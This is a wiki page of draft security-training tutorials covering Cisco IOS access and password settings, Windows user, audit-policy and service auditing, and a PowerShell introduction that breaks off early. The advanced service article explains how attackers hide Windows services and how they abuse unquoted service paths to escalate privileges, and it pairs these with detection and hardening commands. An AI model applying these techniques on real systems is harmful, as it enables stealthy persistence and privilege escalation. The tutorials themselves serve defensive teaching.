WikiCyber - User contributions [en]

Draft:An Introduction to Cisco IOS

2026-09-22T05:43:02Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}


Author(s): a_person

Last Updated: 08-09-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== What is an OS? ==

An operating system (OS) is system software that manages computer hardware and software resources. Cisco has its own operating system, Cisco IOS, and it is used on their devices, which include routers, switches, and firewalls.

== Access methods ==

=== Console ===

A physical management port that offers out-of-band access to a Cisco device via a dedicated management channel used solely for maintenance. The main benefit is that the device can be accessed even if no network settings are configured, such as during initial setup. To connect, you'll need a computer with terminal emulation software and a special console cable.

=== Secure Shell (SSH) ===

An in-band, secure method to remotely access the device’s CLI over a network through a virtual interface. SSH requires the device to have active networking services and a configured interface with an IP address. Most Cisco IOS versions include both an SSH server and client for establishing secure sessions. SSH is not only used in networking devices, and can be used to access servers.

=== Telnet ===

An insecure, in-band way to remotely access the CLI over a network via a virtual interface. Unlike SSH, Telnet does not encrypt data, so passwords and commands are sent in plaintext, making it suitable only for enviornments like labs. SSH is strongly recommended instead.

== Terminal Smulation Software ==

These provide a more graphical way to interact with devices. The most common emulation software is [https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html PuTTY].

== Cisco Command Modes ==

There are 3 main Command Modes:

=== User EXEC Mode ===

* Indicated by the <code>></code> symbol. Example:

<syntaxhighlight lang="text">Router></syntaxhighlight>
* Limited in what you can do
* The user can view basic information about the device, but can't make changes to the configuration.

=== Privilaged EXEC Mode ===

* You can enter this mode through using the '''enable''' command, and exit through '''disable''' or '''exit'''.
* Indicatedby the <code>#</code> symbol. Example:

<syntaxhighlight lang="text">Router#</syntaxhighlight>
* Provides complete access to view the device's configuration, restart the device, etc.
* Cannot change the configuration, but can change the time on the device, save the configuration file, etc.

=== Global Configuration Mode ===

* You can enter this mode through using the '''configure terminal''' command, and exit through '''disable''' or '''exit'''.
* Indicated by <code>(config)#</code> . Example:

<syntaxhighlight lang="text">Router(config)#</syntaxhighlight>
* Provides complete access to view the device's configuration, restart the device, etc.
* Cannot change the configuration, but can change the time on the device, save the configuration file, etc.
* Provides access to change the device's running configuration, including interface settings, routing protocols, and security configurations.

== Help Command ==

* Single question mark (?) shows available commands or options at the current level. Example:

<syntaxhighlight lang="text">Router> ?</syntaxhighlight>
This will show all the avaliable commands that you can use in the currrent state.

<syntaxhighlight lang="text">Router> show ?</syntaxhighlight>
This will show you what parameters are accepted for the show command.

<syntaxhighlight lang="text">Router> s?</syntaxhighlight>
This will show you all the possible completions of the command.

== Do command ==

The do command allows you to execute commands in privileged EXEC mode commands without leaving configuration modes.

Example: Checking the running configuration while in interface configuration mode:

<syntaxhighlight lang="text">Router(config-if)# do show running-config</syntaxhighlight>
== Shortening Commands ==

Many Cisco IOS commands can be abbreviated as long as the abbreviation is unambiguous.

Example:

<syntaxhighlight lang="text">Router> show running-config</syntaxhighlight>
can be shortened to:

<syntaxhighlight lang="text">Router> sh run</syntaxhighlight>
Use ? to confirm what abbreviations are valid.

== Hostname command ==

You can name the router/switch by using <code>hostname</code>

Example:

<syntaxhighlight lang="text">Router(config)#hostname CiscoRouter1</syntaxhighlight>
== Updating the Running configuration ==

You can do this through <code>copy running-config startup-config</code> and <code>write memory</code>. These can be abbreviated to <code>copy run start</code>(now you know why people say it) and <code>wr</code>

== Practice ==

Do the following steps in order:

# Enter privilaged EXEC mode
# Enter global configuration mode
# Exit global configuration mode
# Exit privilaged EXEC Mode

'''You must enter the FULL commands.'''

'''Interactive practice:''' [https://orionband.github.io/windowstst/cisco.html?q=enable:configure%20terminal:exit:exit,enable:configure%20terminal:exit:disable,enable:configure%20terminal:exit:disable Open the practice widget (external site)]

== Supplementary Resources and Further Reading ==

* https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/02_cisco_ios_hierarchy.htm
* https://www.cisco.com/c/en/us/td/docs/switches/wan/mgx/mgx_8850/software/mgx_r3/rpm/rpm_r1-1/configuration/guide/appc.pdf
* https://www.youtube.com/watch?v=IYbtai7Nu2g&list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&index=8

[[Category:Cisco Packet Tracer|039]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Basic Router and Switch security

2026-09-22T05:43:00Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}


Author(s): a_person

Last Updated: 08-09-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

Introduction to Cisco IOS

|}

== Enable Password ==

The <code>enable password</code> command sets a password required to enter privileged EXEC mode on Cisco devices.

=== Syntax ===

<syntaxhighlight lang="text">Router(config)# enable password your_password</syntaxhighlight>
=== Important notes ===

* Stored in plain text in the configuration file
* Visible when viewing the running configuration
* Provides basic protection but not recommended for production environments
* Can be seen by anyone with access to the configuration

== Enable secret ==

The <code>enable secret</code> command provides a more secure alternative to the <code>enable password</code> command as it uses a hashing algorithm. When there are both <code>enable password</code> and <code>enable secret</code>, <code>enable secret</code> takes precedence because Cisco IOS always prefers the more secure option.

=== Syntax ===

<syntaxhighlight lang="text">Router(config)# enable secret your_password</syntaxhighlight>
== Protecting Console ==

This configuration secures console access to the device by applying a password requirement. It specifies the console line (<code>line console 0</code>), sets a password (<code>password your_console_password</code>), and enables password checking on login (<code>login</code>).

<syntaxhighlight lang="text">Router(config)# line console 0
Router(config-line)# password your_console_password
Router(config-line)# login</syntaxhighlight>
== Password Encryption Service ==

The <code>service password-encryption</code> command enables automatic encryption of passwords in the configuration file using Type 7 encryption. Later in the article, we will be talking about the differences between the various encryption types. <code>service password-encryption</code> is not strong security and is mainly for obscuring passwords from casual viewing.

'''What it affects:'''

* Line passwords (console, vty, aux)
* Enable password (but not enable secret)
* Username passwords (but not username secrets)
* SNMP community strings
* Other plaintext passwords in configuration

=== Syntax ===

<syntaxhighlight lang="text">Router(config)# service password-encryption</syntaxhighlight>
== Cisco Password Encryption Levels ==

Cisco devices use different encryption levels to secure passwords stored in configuration files:

=== Type 0 - Plain Text ===

* No encryption applied
* Password visible in clear text
* Default behavior without encryption services
* '''Example:''' <code>password 0 MyPassword123</code>

=== Type 7 - Cisco Proprietary Encryption ===

* Basic obfuscation using Vigenère cipher
* Reversible encryption (easily decoded)
* Enabled with <code>service password-encryption</code>
* '''Example:''' <code>password 7 094F471A1A0A464058</code>

=== Type 5 - MD5 Hash ===

* Uses MD5 hashing algorithm
* One-way encryption
* As you may or may not already know, MD5 is vulnerable to collision attacks, making it not as secure as other hashing algorithms.
* Used by <code>enable secret</code> and <code>username secret</code> commands
* '''Example:''' <code>enable secret 5 $1$mERr$hx5rVt7rPNoS4wqbXKX7m0</code>

=== Type 8 - PBKDF2 with SHA-256 ===

* Password-Based Key Derivation Function 2
* Uses SHA-256 hashing with salt
* '''Example:''' <code>username admin secret 8 $8$mERr$hx5rVt7rPNoS4wqbXKX7m0$</code>

=== Type 9 - Scrypt ===

* Latest and most secure encryption type
* Uses scrypt key derivation function
* Resistant to hardware attacks
* '''Example:''' <code>username admin secret 9 $9$mERr$hx5rVt7rPNoS4wqbXKX7m0$</code>

== Practice ==

Do the following steps in order:

# Enable password encryption
# Set the secret to <code>C1sc0R0cks</code>
# Set the console password to <code>Cypat123!</code>

'''You must enter the FULL commands.'''

'''Interactive practice:''' [https://orionband.github.io/windowstst/cisco.html?i=config&q=service%20password-encryption:enable%20secret%20C1sc0R0cks:line%20console%200:password%20Cypat123!:login Open the practice widget (external site)]

== Labs ==

* [https://drive.google.com/file/d/132NG6fJ03XcguOsChH-JXqafaOxTZMXd/view?usp=sharing CCNA Lab 003 PKT download (JIT)]
* [https://www.youtube.com/watch?v=Gj-8agyq4yQ&list=PLxbwE86jKRgMQ4HTuaJ7yQgA2BoNwY9ct&index=4 CCNA Lab 003 walkthrough (JIT)]
* [https://drive.google.com/file/d/1SukSVB9OKMG49aiqwfOdqc1lU6jVigrW/view?usp=sharing Day 4 Basic Security Lab PKT download(JIT)]
* [https://drive.google.com/file/d/1SukSVB9OKMG49aiqwfOdqc1lU6jVigrW/view?usp=sharing Day 4 Basic Security Lab PKT walkthrough(JIT)]

== Supplementary Resources and Further Reading ==

* https://www.youtube.com/watch?v=IYbtai7Nu2g&list=PLxbwE86jKRgMpuZuLBivzlM8s2Dk5lXBQ&index=8&pp=iAQB
* https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst2960cx_3650cx/software/release/15-2_7_e/configuration_guide/b_1527e_consolidated_3560cx_2960cx_cg/m_sec_passpr_cg.pdf

[[Category:Cisco Packet Tracer|040]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Introduction to User Auditing

2026-09-22T05:42:58Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): a_person

Last Updated: 07-03-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* None

|}

== Concepts ==

* Users are the accounts that represent individuals or entities who interact with the operating system. Each user account has its own profile, which includes personalized settings, files, and access permissions. Each User is assigned a unique SID
* Groups are a collection of user accounts that can be managed as a single unit. Instead of configuring access for each user individually, administrators can assign users to groups, and then assign permissions or roles to the group.
* There are two main Built in accounts. These are the Administrator account and the Guest account. Both should be disabled.
* There are also Built-in System accounts, which are accounts used by Windows. Some of the main ones are included below:
** SYSTEM
** LOCAL SERVICE
** NETWORK SERVICE
** TrustedInstaller
** WDAGUtilityAccount

== Tools ==

* User auditing can be done in the following applications. Each has its benefits and drawbacks.
** lusrmgr.msc
** Control Pannel
** Settings
** Command Prompt/Powershell

== Practice ==

Most basic images contain the content covered in this article. Other images will go beyond this, especially ones with Active Directory: 
https://images.cypat.guide#gid=0

== What is User Auditing? ==

User auditing is configuring of Authorized Users, Groups, and other settings unique to users. This mainly includes:

# Disabling the Administrator and Guest accounts
# Removing Unauthorized users
# Removing administrator privileges from users
# Creating Users/Groups if requested by the ReadMe
# Changing insecure passwords
# Creating Passwords

== Why do we need to do this? ==

This is important because of the principle of least privilege, which is only giving a user/group only the privilages that they need, nothing more. For example, if students had administrator privileges, they could potentially bypass filtering software and hack the schools network. User Auditing also contains creating/making strong passwords, which stops attackers from easily gaining access.

== Using each tool ==

=== Disabling the Administrator and Guest accounts ===

'''lusrmgr.msc'''

# Press <code>Win + R</code>, type <code>lusrmgr.msc</code>, and press Enter.
# Click on '''Users'''.
# Right-click <code>Administrator</code> > '''Properties'''.
# Check '''Account is disabled''', then click '''OK'''.
# Repeat for the <code>Guest</code> account.

'''Control Panel''' 
Control Panel does not offer a reliable or consistent way to disable these accounts. '''Settings''' 
You can't

'''Command Prompt / PowerShell'''

<syntaxhighlight lang="powershell">net user Administrator /active:no
net user Guest /active:no</syntaxhighlight>
Note that this can also be done through a GPO.

-----

=== Removing Unauthorized Users ===

'''lusrmgr.msc'''

# Open '''Users'''.
# Right-click any unauthorized user > '''Delete'''.

'''Control Panel'''

# Open '''User Accounts''' > '''User Accounts''' > '''Manage Another Account'''.
# Click on the User.
# Click '''Delete User'''.

'''Settings'''

# Go to '''Settings''' > '''Accounts''' > '''Other Users'''.
# Click on the user > '''Remove'''.

'''Command Prompt / PowerShell'''

<syntaxhighlight lang="powershell">net user username /delete</syntaxhighlight>

-----

=== Removing Administrator Privileges from Users ===

'''lusrmgr.msc'''

# Go to '''Groups''' > Double-click '''Administrators'''.
# Select user > '''Remove'''.

'''Control Panel'''

# Open '''User Accounts''' > '''User Accounts''' > '''Manage Another Account'''.
# Click on the User.
# Click '''Change Account Type'''. It will automatically select standard if it is an Admin
# Click the '''Change Account Type''' to finalize.

'''Settings'''

# Go to '''Settings''' > '''Accounts''' > '''Other Users'''.
# Click the user > '''Change account type''' > '''Standard User'''.

'''Command Prompt / PowerShell'''

<syntaxhighlight lang="powershell">net localgroup Administrators username /delete</syntaxhighlight>

-----

=== Creating Users/Groups if Requested by the ReadMe ===

'''lusrmgr.msc'''

# Right-click '''Users''' > '''New User'''.
# Fill out details and click '''Create'''.
# For groups: Right-click '''Groups''' > '''New Group'''.

'''Control Panel'''

# Open '''User Accounts''' > '''User Accounts''' > '''Manage Another Account'''.
# Click '''Add new user in settings'''

Don't use control pannel to create a group

'''Settings'''

# Go to '''Settings''' > '''Accounts''' > '''Other Users''' > '''Add someone else to this PC'''.
# When you get prompted for a microsoft account, just click '''I don't have this person's sign-in information''', then '''I don't have this person's sign-in information'''

Don't use settings to create a group

'''Command Prompt / PowerShell'''

<syntaxhighlight lang="powershell">net user newusername newpassword /add
net localgroup groupname /add
net localgroup groupname username /add</syntaxhighlight>

-----

=== Changing Insecure Passwords ===

'''lusrmgr.msc'''

# Right-click on a user > '''Set Password'''.
# Enter a secure new password.

'''Control Panel'''

# Open '''User Accounts''' > '''User Accounts''' > '''Manage Another Account'''.
# Click the user
# Click "Change Password"

'''Settings''' 
''Not available for local users.''

'''Command Prompt / PowerShell'''

<syntaxhighlight lang="powershell">net user username newsecurepassword</syntaxhighlight>

-----

=== Creating Passwords ===

Note: Control Pannel will show you if someone has a password or not. If an account has "Password Protected", that means that they have a password.

'''lusrmgr.msc'''

# Right-click on a user > '''Set Password'''.
# Enter a secure new password.

'''Control Panel'''

# Open '''User Accounts''' > '''User Accounts''' > '''Manage Another Account'''.
# Click the user
# Click "Create a Password"

'''Settings'''

Don't do it. It will make you create security questions.

'''Command Prompt / PowerShell'''

<syntaxhighlight lang="powershell">net user username password</syntaxhighlight>
== Practice ==

Most basic images contain the content covered in this article. Other images will go beyond this, especially ones with Active Directory: 
https://images.cypat.guide#gid=0

-----

=== References & Further Reading ===

* https://www.lastpass.com/features/password-generator
* https://support.microsoft.com/en-us/windows/manage-user-accounts-in-windows-104dc19f-6430-4b49-6a2b-e4dbd1dcdf32
* https://support.microsoft.com/en-us/windows/change-or-reset-your-password-in-windows-8271d17c-9f9e-443f-835a-8318c8f68b9c
* https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts

[[Category:Windows User Auditing|002]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Windows Todo

2026-09-22T05:42:58Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

== Article ==

Advanced forensics 
Advanced user auditing

* user details
* Active directory stuff

Registry

Windows defender and firewall

File Permissions

Scripting - Powershell + batch (potentially)

Windows Server

* Active directory
* Server Manager

App sec

* DNS
* IIS
* Apache
* WinRM
* SQL
* PHP
* SMTP
* SSH
* AD CS

== Other items ==

* Video?
* Over arching practice image?
* Quizes?

[[Category:Windows|999 Windows Todo]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:System Auditing - Beginner

2026-09-22T05:42:58Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): LOWERCASEinuppercase

Last Updated: 06-10-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* None

|}

== What Is Auditing? ==

System auditing is the process of tracking and logging certain events on a system. This can include things like login and logoff, attempting to access a certain file or folder, or modifying system settings. These logs can help system administrators identify suspicious activity or system issues. In Windows, system auditing is configured through the '''Audit Policy''' settings, which logs selected events to the '''Event Log'''.

When deciding audit policies, it's important to consider what might be beneficial to record, and adjust settings accordingly. For example, one use-case for auditing would be monitoring to see if anyone is attempting to access a user's account or brute-force their password. In that case, it may be useful to audit something like logon failures. In general it is considered best practice to audit as much as possible, though it's important to note that some policies will generate a lot of unnecessary diagnostic events that will quickly clog up the event log.

== Configuring Audit Policy ==

Audit policy on a system is typically configured through either basic audit policy or advanced audit policy. Both of these can be configured through the '''Local Security Policy''', also known as secpol.msc. To open Local Security Policy, go to the Windows search bar and type in either "local security policy" or "secpol.msc" and press enter. Let's take a look at how to configure audit policy in both ways.

=== Basic Audit Policy ===

Basic audit policy can be configured by navigating to <code>Local Policies > Audit Policy</code>. Listed here are 9 broad categories of events that the system can audit. By double-clicking any one of them, you can configure whether the system will audit success and/or failure events in each category.

=== Advanced Audit Policy ===

Advanced audit policy can be configured by navigating to the subcategories under <code>Advanced Audit Policy Configuration > System Audit Policies - Local Group Policy Object</code>. These subcategories are similar to the ones available with a basic audit policy, but they allow for more granularity with the available settings.

For example, under the <code>Logon/Logoff</code> category, there are multiple specific settings which can be individually configured. Setting <code>Audit account logon events</code> to a given option in the basic audit policy would be equivalent to applying that option to every subcategory under the <code>Logon/Logoff category</code> in the advanced audit policy. Using an advanced audit policy gives you the choice to have different settings between those subcategories.

=== Command Prompt ===

The audit policy can also be configured through the command prompt using the <code>auditpol.exe</code> command line utility (also just referred to as <code>auditpol</code>). First, open the command prompt by typing "cmd" into the Windows search bar. Now, in order to get all of the current system audit policies, enter <code>auditpol /get /category:*</code> at the prompt. This should display a list of auditing categories and subcategories (which should mirror those in the advanced audit policy) and their current settings. To enable auditing for one of these subcategories, you can run <code>auditpol /set /subcategory:"Subcategory Name Here" /success:enable /failure:enable</code>. To disable auditing for a subcategory, you can run the same command but replacing the <code>enable</code> with <code>disable</code> for the <code>/success</code> and <code>/failure</code> options.

-----

=== References & Further Reading ===

* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/advanced-security-auditing-faq
* https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol

[[Category:Windows System Auditing|007]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Service Auditing - Beginner

2026-09-22T05:42:58Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

Author(s): Anywheres

Last Updated: 08-05-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* (None)

|}

== What is a Service? ==

A Windows service is a long-running program that runs in the background. If you have experience with Linux, you can think of services as the Windows equivalent of daemons. Services typically run without a GUI or any user interaction. As such, services are used primarily for tasks like handling system operations, providing network services, monitoring resources, or running server applications.

== Why Do We Need To Audit Services? ==

Although services are required for a system to run correctly and effectively, they can also be misconfigured, making a system vulnerable. In addition, there are services which may not necessarily be malicious, yet are also not required and should therefore be disabled in order to reduce the attack surface (the potentially attackable components) of a system. Other services, such as Windows Update or Event Log need to be enabled at all times to maintain system security and records. By making sure that only necessary services are running and that those services are properly configured, we shut down possible attack paths for people attempting to breach the system.

<blockquote>To get a sense of what services should be disabled if not explicitly required, it is a good idea to check out sections of STIGs or benchmarks which focus on services. One such benchmark is located in the References & Further Reading section of this article
</blockquote>
== How Do Services Work? ==

Since the point of services is to run without user interaction, they have to be started and maintained by the system without user interaction as well. In Windows, that responsibility falls on the '''Service Control Manager (SCM)'''. The SCM's job is to:

* Start and stop services at the appropriate time
* Manage service dependencies
* Maintain service configurations
* Handle and respond to service control requests
* Restart services in case of failure/error

The manner in which a service starts can be configured by the user. Services have four main startup types in Windows:

* <code>Automatic</code> - The service starts automatically and is run as soon as possible when the system starts up.
* <code>Automatic (Delayed Start)</code> - The service starts automatically but starts a couple minutes after the initial system startup, in a sort of 'second round'. The purpose of this is to reduce the competition for system resources when the system is starting up initially
* <code>Manual</code> - The service doesn't start automatically, but can be started up if/when it is needed
* <code>Disabled</code> - The service is not allowed to start

In addition, for any of these states other than <code>Disabled</code> it is also possible to see <code>(Trigger Start)</code> by the name. In this case, the service will function identically to the above descriptions, except that it can also be started by an event known as a service trigger. The specifics of how this works are not important for now, but it's good to know that this exists and is normal behavior.

<blockquote>If you would like to learn the specifics of service triggers, check out the MS Docs: https://learn.microsoft.com/en-us/windows/win32/services/service-trigger-events
</blockquote>
When a service runs, it also "logs on as" a certain user-- it runs with the same privileges as that user, as though that user had started the program themself. For example, if a service was running as the user <code>testuser</code>, then the service would be able to access any resources that <code>testuser</code> could access. Typically, services log on as one of three users: <code>LocalService</code>, <code>NetworkService</code>, or <code>LocalSystem</code>. Of these three, the <code>LocalSystem</code> account is by far the most dangerous as it has near-complete control of the system. If an attacker managed to control a service running as <code>LocalSystem</code> or register their own unauthorized service with <code>LocalSystem</code>, they too would have this near-complete control of the system. As such, the configuration of which account services run with must be carefully monitored and audited to ensure no unauthorized or insecurely configured services have access to more privileges than they need, especially for services running as <code>LocalSystem</code>.

== Configuring Services ==

Now that you have learned the basics of how services work, you need to learn how to actually configure them. As is the case with most things in Windows, there are a few ways to configure services. The main ones are as follows. Choose one of services listed in the benchmarkFor each method, a practice image or testing VM to get hands-on experience using it.

=== services.msc ===

<code>services.msc</code> is an application which allows you to configure services using a GUI. To open it, search for "Services" or "services.msc" in the Windows search bar. Once the application opens, you will be able to see a list of all of the services registered on the system, as well as information regarding their current state, their startup type, and the account the service runs as. These services can be sorted by clicking on the column names at the top of the list. To get more information about a specific service, locate it in the list and either double-click on it or right click it and select "Properties". From this menu you can see more specific information such as the path to the service executable, dependencies of the service, or dependents of the service. You can also configure startup type, manually start or stop the service, and choose actions to be taken if the service fails.

=== sc.exe ===

<code>sc.exe</code> is a command line tool for service configuration and querying. <code>sc.exe</code> can be invoked from the command prompt (<code>cmd.exe</code>) as either <code>sc.exe</code> or simply <code>sc</code>. <code>sc.exe</code> can be used from PowerShell as well, but it should be noted that you must use the full name <code>sc.exe</code> since just <code>sc</code> serves as an alias for the cmdlet <code>Set-Content</code> in PowerShell. <code>sc</code> has options for every capability mentioned above in the <code>services.msc</code> section, plus additional features such as displaying the security descriptor of the service object. A full explanation of the features of <code>sc</code> is beyond the scope of this article; however, a link to the documentation for the command will be in the References & Further Reading section. A shortened guide to the command's usage can be seen in the terminal by entering just <code>sc</code> with no additional arguments.

=== Powershell Cmdlets ===

Powershell has cmdlets which are used to configure services. These cmdlets follow the text pattern <code>*-Service</code>. To get a list of all of these configuration commands from within PowerShell, you can run the command <code>Get-Command *-Service</code>. As with <code>sc</code>, a full explanation of these cmdlets is out of the scope of this article, but the documentation for these cmdlets will once again be located in References & Further Reading. As is the case with any other PowerShell cmdlet, usage information can be obtained from the terminal by entering <code>Get-Help [command]</code>.

-----

=== References & Further Reading ===

* https://sematext.com/glossary/windows-services/
* https://learn.microsoft.com/en-us/windows/win32/services/about-services
* https://www.coretechnologies.com/blog/windows-services/startup-types-explained/
* https://downloads.cisecurity.org/ - Benchmarks, choose the most relevant windows version from the list. Look for a section in the benchmark pdf titled "System Services" or similar
* https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11) - sc.exe documentation
* https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/ - PowerShell cmdlets documentation
* https://stackoverflow.com/a/510225 - service account distinctions

[[Category:Windows Service Auditing|004]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:Service Auditing - Advanced

2026-09-22T05:42:57Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): Donkey (d0nkeyman), sv_du (sv-du), Anywheres

Last Updated: 08-06-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

* Service Auditing - Beginner

|}

== What To Expect ==

At this level, service auditing becomes about understanding the Windows service permission system at a low level and exploring the security consequences and nuances of this system.

We recommend having a strong understanding of file permissions and having completed the previous service auditing guides.

== Permissions ==

Just like with files, the permissions of a service can be represented and set through an SDDL string (covered in advanced file permissions). You have probably noticed this when trying to start or stop Windows Defender Firewall (mpssvc) or any other protected service.

So what would happen if mpssvc gave everyone permission to turn it on and off? What if a malicious service made it so only <code>SYSTEM</code> could change its status? We encourage you to experiment with SDDLs and come up with ways they could potentially be used to compromise the security of a system or make certain tasks much harder.

One interesting use case of SDDL strings for services is creating "hidden services" that evade standard tools. You can read about them at https://www.sans.org/blog/red-team-tactics-hiding-windows-services/. In a nutshell, these services do not appear in the <code>services.msc</code> applet nor the <code>Get-Service</code> cmdlet, yet behave like normal. There are limits to this hiding, however, and these are limits that we can exploit!

All services, "hidden" or not, need to be registered in the registry to work properly. Windows has to be able to access this registration to allow the service to run. Registering a service causes an entry to be added in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services</code>, each folder named with the service name, and each folder containing information about the service.

These folders also have SDDLs, which '''are different''' from the service SDDL, stored in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service name>\Security</code>. To do further hiding, an attacker can modify the permissions of these keys to the bare minimum that Windows needs to let the service function. One of the necessary accounts that needs permissions is <code>SYSTEM</code>, which is good because we can log in as <code>SYSTEM</code>.

In essence, to find "hidden" services, one must simply find the keys in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services</code> not outputted in <code>Get-Service</code>

The following Powershell command does just this. To minimize permission errors with '''registry SDDLs''', run this command as <code>SYSTEM</code>

<syntaxhighlight lang="powershell">Compare-Object -ReferenceObject (Get-Service | Select-Object -ExpandProperty Name | % { $_ -replace "_[0-9a-f]{2,8}$" } ) -DifferenceObject (Get-ChildItem -path hklm:\system\currentcontrolset\services | % { $_.Name -Replace "HKEY_LOCAL_MACHINE\\","HKLM:\" } | Where-Object { Get-ItemProperty -Path "$_" -name objectname -erroraction 'ignore' } | % { $_.substring(40) }) -PassThru | Where-Object {$_.sideIndicator -eq "=>"}</syntaxhighlight>
== Protected Process Light (PPL) ==

Windows has some protections on important services to prevent malicious tampering. The most common one is LSASS, which you should be familiar with at this point. You can read about PPL at https://itm4n.github.io/lsass-runasppl. The only thing I would like to emphasize is that LSASS is '''not''' the only service you should pay attention to. Experiment with PPL services in a VM and figure out what they prevent (Can you modify their registry? Can you delete their files?).

LSASS in particular has two registry keys that you can set using the <code>reg</code> utility to ensure it runs as PPL:

<syntaxhighlight lang="powershell">reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe" /v AuditLevel /t REG_DWORD /d 8 /f</syntaxhighlight>
== Unquoted Service Path Injection ==

When a service is started by the Service Control Manager, the service is run using the <code>ImagePath</code> value of the service's entry in the SCM database (located at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>). This value is just a normal file system path pointing to the executable which should be used to run the service. Due to the way Windows handles paths with the <code>CreateProcess</code> Win32 api call, a service path containing spaces which isn't enclosed in quotes is vulnerable to attack. The reason for this can be seen in the [https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa documentation for <code>CreateProcess</code>]:

<blockquote>If you are using a long file name that contains a space, use quoted strings to indicate where the file name ends and the arguments begin; otherwise, the file name is ambiguous. For example, consider the string "c:\program files\sub dir\program name". This string can be interpreted in a number of ways. The system tries to interpret the possibilities in the following order:

c:\program.exe

c:\program files\sub.exe

c:\program files\sub dir\program.exe

c:\program files\sub dir\program name.exe
</blockquote>
In the event that a service path is unquoted, Windows will search for an executable in each path segment which ends in a space from left to right until it finds a valid executable. If a user happens to have write access to one of these locations, then it is possible that they could take advantage of this search order and place their own malicious executable at one of these locations. For example, if a service executable was placed at <code>C:\Program Files\SecureService\Service Executables\supersecure.exe</code> and had an unquoted path, Windows would first check for <code>C:\Program.exe</code>, then <code>C:\Program Files\SecureService\Service.exe</code>, then finally <code>C:\Program Files\SecureService\Service Executables\supersecure.exe</code>. If an attacker had write access to the <code>SecureService</code> directory, they could create a malicious <code>Service.exe</code> file which would run when the service activates. Since it is common for services to run with high privileges such as those of the <code>LocalSystem</code> account, this could lead to an attacker escalating their privileges on the system. As such, when defending a system you must ensure that any service paths which contain a space are properly enclosed in quotes.

== Tooling ==

As usual, the Sysinternals tools prove to be very useful in higher-level analysis of Windows services. Specifically, Process Explorer can be useful in seeing the current protection level of running processes.

I also recommend Process Hacker, as it makes modifying service permissions, PPL, and much more a lot simpler with a GUI. You should still learn the command line version of the above for your scripts and personal tooling; however, for quick fixes, Process Hacker will prove useful. You can also use it to run with TrustedInstaller-level permissions, which you will need to modify permission/PPL properly.

== Practice ==

Here is a list of practice images that have some more advanced Service Auditing vulnerabilities: https://docs.google.com/spreadsheets/d/1zjvtl_TNkD108jZaluGo-juQI6U89P7tcqWTZELmpH8/edit?usp=sharing

* King Arthur's Castle
* Baldi's Basics
* Sunrise Foundation Training Simulation

-----

=== References, Further Reading, & Tools Mentioned ===

* https://itm4n.github.io/lsass-runasppl
* https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/
* https://www.sans.org/blog/red-team-tactics-hiding-windows-services/
* https://www.ired.team/offensive-security/privilege-escalation/unquoted-service-paths
* https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer
* https://sourceforge.net/projects/processhacker/

[[Category:Windows Service Auditing|005]]
[[Category:Migrated from cypat.guide]]
[[Category:Pending review]]

Draft:An Introduction to Powershell

2026-09-22T05:42:56Z

MigrationBot: Backfill (v3.0 review queue): added to the review queue

{{Submit}}

-----

Author(s): Byrch

Last Updated: 07-30-2025

{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
! Recommended Prerequisites (click to expand)
|-
|

None

|}

== What is PowerShell? ==

PowerShell is a cross-platform task automation solution made up of a command-line shell, a scripting language, and a configuration management framework. PowerShell runs on Windows, Linux, and macOS.

== Why it's important ==

Powershell is important due to the nature of the competition. You are tasked with securing systems in a timely manner, while also being compliant to industry best security practices. Powershell provides a fast way to automate security checks, apply patches, disable insecure configurations, and manage users.

# Powershell can run scripts to remediate the tedious, time consuming tasks
# It allows mass bulk changes, greatly improving productivity and time usage
# It's faster and more consistent than manually navigating through GUI

== How to open/use PowerShell ==

On Windows (Recommended):

